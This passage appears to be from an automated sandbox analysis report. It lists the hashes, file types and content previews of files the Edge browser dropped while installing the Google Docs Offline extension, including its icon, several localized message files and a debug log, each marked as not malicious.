SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\917019e0-9423-4000-9976-d6faa002748d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1555580
Entropy (8bit):	7.99231427192264
Encrypted:	true
SSDEEP:	24576:ZWFcQQ3QB7HQ57HvG7oT9O0S8+ALjbc8LSsQEWSmAydAKq8SGpOk2F6T79tevVDa:ZKc13QB7HQ5bv5XN+ATssQEiNq8zpOkx
MD5:	A1F7C7E56AB4908FFB3BD268A67F4163
SHA1:	4C5252312B6234B96F61A2ADE8E703E143B5A2E5
SHA-256:	83D0106867F6D6FD4BCC5C5A8742135468BA68742E5A7C50DFCFB284C8CDFBD7
SHA-512:	2CBC4D95C6046602E1B8DEE5947252D4BEF8793D97D26404F89FE69612E91FFA5A129FEC384940188A8DEAC2B896E8143748A2F250B667041668470E683B987D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.41160820345491
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrv:8e2Fa116uCntc5toYwFZLM
MD5:	DF9099DE9FE73969111119283B7F300D
SHA1:	3FFE8426249B8A92AC96C12917CD27FA34D1B818
SHA-256:	0EDC60A8730910F0D2DE58F89AE4BFA3C4F17A53C42FFEC7AD762239B0651A94
SHA-512:	8F8DD7E510373B5BB132A0867AFF21D8DB62C41151F50052D2299D9114E40D6B491C72AA8F339FAA56D76FE5E2BD7071FAE1555549185B44E9D46513A91D818A
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e30ca7c7-2278-482f-81b7-8a5044b83830.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\f10b0351-290a-4e3c-a15f-63ce2de98629.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\6ba83791-90a6-45be-9abf-dc19e239877f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
